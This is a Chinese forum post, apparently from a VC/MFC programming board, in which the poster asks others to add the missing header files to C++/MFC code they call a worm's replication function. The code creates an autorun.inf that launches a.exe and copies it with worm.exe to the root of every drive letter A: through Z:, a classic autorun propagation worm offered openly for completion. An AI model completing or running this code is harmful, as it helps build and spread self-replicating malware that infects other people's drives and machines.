求助给代码加头文件

saltchen saltchen 墨衍会员 · AI 创作全网分发 墨衍智能分发 通过墨衍一键同步至各平台 可同步平台 CSDN微信公众号微博知乎掘金百家号博客园抖音小红书 你的文章也可以这样分发 墨衍会员 ¥399起/年,写一次发全网 我也要 + 加入社区
蠕虫的实现复制功能的代码 但缺少头文件 谁知道全 给加下
BOOL FilesCreate(void)
{
CStdioFile file;
LPCTSTR s1="[autorun]\n";
LPCTSTR s2="OPEN=a.exe";
if(file.Open("autorun.inf", CFile::modeCreate|CFile::modeWrite|CFile::typeText)==0)
{
return 0;
}
file.WriteString(s1);
file.WriteString(s2);
file.SetLength(file.GetPosition());
file.Close();
return 1;
}
void main()
{
FilesCreate();
for(char i='A';i<='Z';i++)
{
char drive1[20]={i,':'};
char drive2[20]={i,':'};
LPCSTR st=strcat(drive1,"autorun.inf");
LPCSTR se=strcat(drive2,"a.exe");
CopyFile("autorun.inf",st,false);
CopyFile("worm.exe",se,false);
}
}
...全文
评论 3
收藏 已收藏
分享
返回顶部
saltchen
VC/MFC 16,550 成员 421,606 内容